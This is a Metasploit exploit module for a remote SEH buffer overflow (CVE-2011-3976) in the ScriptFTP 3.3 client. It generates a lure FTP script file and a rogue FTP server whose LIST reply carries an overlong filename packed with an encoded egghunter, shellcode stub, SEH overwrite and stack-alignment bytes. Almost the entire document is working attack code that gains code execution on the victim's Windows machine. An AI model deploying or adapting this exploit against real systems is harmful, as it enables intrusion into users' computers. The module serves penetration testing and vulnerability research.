ScriptFTP 3.3 Remote Buffer Overflow

`##  
# $Id: scriptftp_list.rb 13848 2011-10-09 22:56:17Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',  
'Description' => %q{  
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow  
vulnerability that is triggered when processing a sufficiently long filename during  
a FTP LIST command resulting in overwriting the exception handler. Social engineering  
of executing a specially crafted ftp file by double click will result in connecting to  
our malcious server and perform arbitrary code execution which allows the attacker  
to gain the same rights as the user running ScriptFTP.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13848 $",  
'Author' =>  
[  
'modpr0be', #Vulnerability discovery and original exploit  
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module  
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2011-3976' ],  
[ 'OSVDB', '75633' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],  
[ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'DisablePayloadHandler' => 'false',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'EDI', # Egghunter jmp edi  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# CALL DWORD PTR SS:[EBP-4]  
# scriptftp.exe - File version=Build 3/9/2009  
[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),  
], self.class)  
  
end  
  
def setup  
if datastore['SRVHOST'] == '0.0.0.0'  
lhost = Rex::Socket.source_address('50.50.50.50')  
else  
lhost = datastore['SRVHOST']  
end  
  
ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"  
ftp_file << "SETPASSIVE(ENABLED)\r\n"  
ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"  
ftp_file << "CLOSEHOST\r\n"  
  
print_status("Creating '#{datastore['FILENAME']}'...")  
file_create(ftp_file)  
super  
end  
  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
  
eggoptions =  
{  
:checksum => false,  
:eggtag => 'cure'  
}  
  
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  
  
# Encode with alphamixed, then unicode mixed  
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|  
enc = framework.encoders.create(name)  
if name =~ /unicode/  
# aligned to ESP & EAX  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })  
else  
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })  
end  
# NOTE: we already eliminated badchars  
hunter = enc.encode(hunter, nil, nil, platform)  
if name =~/alpha/  
#insert getpc_stub & align EDX, unicode encoder friendly.  
#Hardcoded stub is not an issue here because it gets encoded anyway  
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"  
hunter = getpc_stub + hunter  
end  
}  
  
unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL  
  
nseh = "\x61" << unicode_nop  
seh = target.ret  
  
alignment = "\x54" # PUSH ESP  
alignment << unicode_nop  
alignment << "\x58" # POP EAX  
alignment << unicode_nop  
alignment << "\x05\x12\x11" # ADD EAX,11001200  
alignment << unicode_nop  
alignment << "\x2d\x01\x01" # SUB EAX,1000100  
alignment << unicode_nop  
alignment << "\x2d\x01\x10" # SUB EAX,10000100  
alignment << unicode_nop  
alignment << "\x50" # PUSH EAX  
alignment << unicode_nop  
alignment << "\xc3" # RETN  
  
buffer = rand_text_alpha(656)  
buffer << hunter  
buffer << rand_text_alpha(target['Offset']-buffer.length)  
buffer << nseh  
buffer << seh  
buffer << alignment  
buffer << rand_text_alpha(500)  
buffer << egg  
  
print_status(" - Sending directory list via data connection")  
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"  
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"  
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"  
  
conn.put(dirlist)  
conn.close  
return  
end  
  
end  
`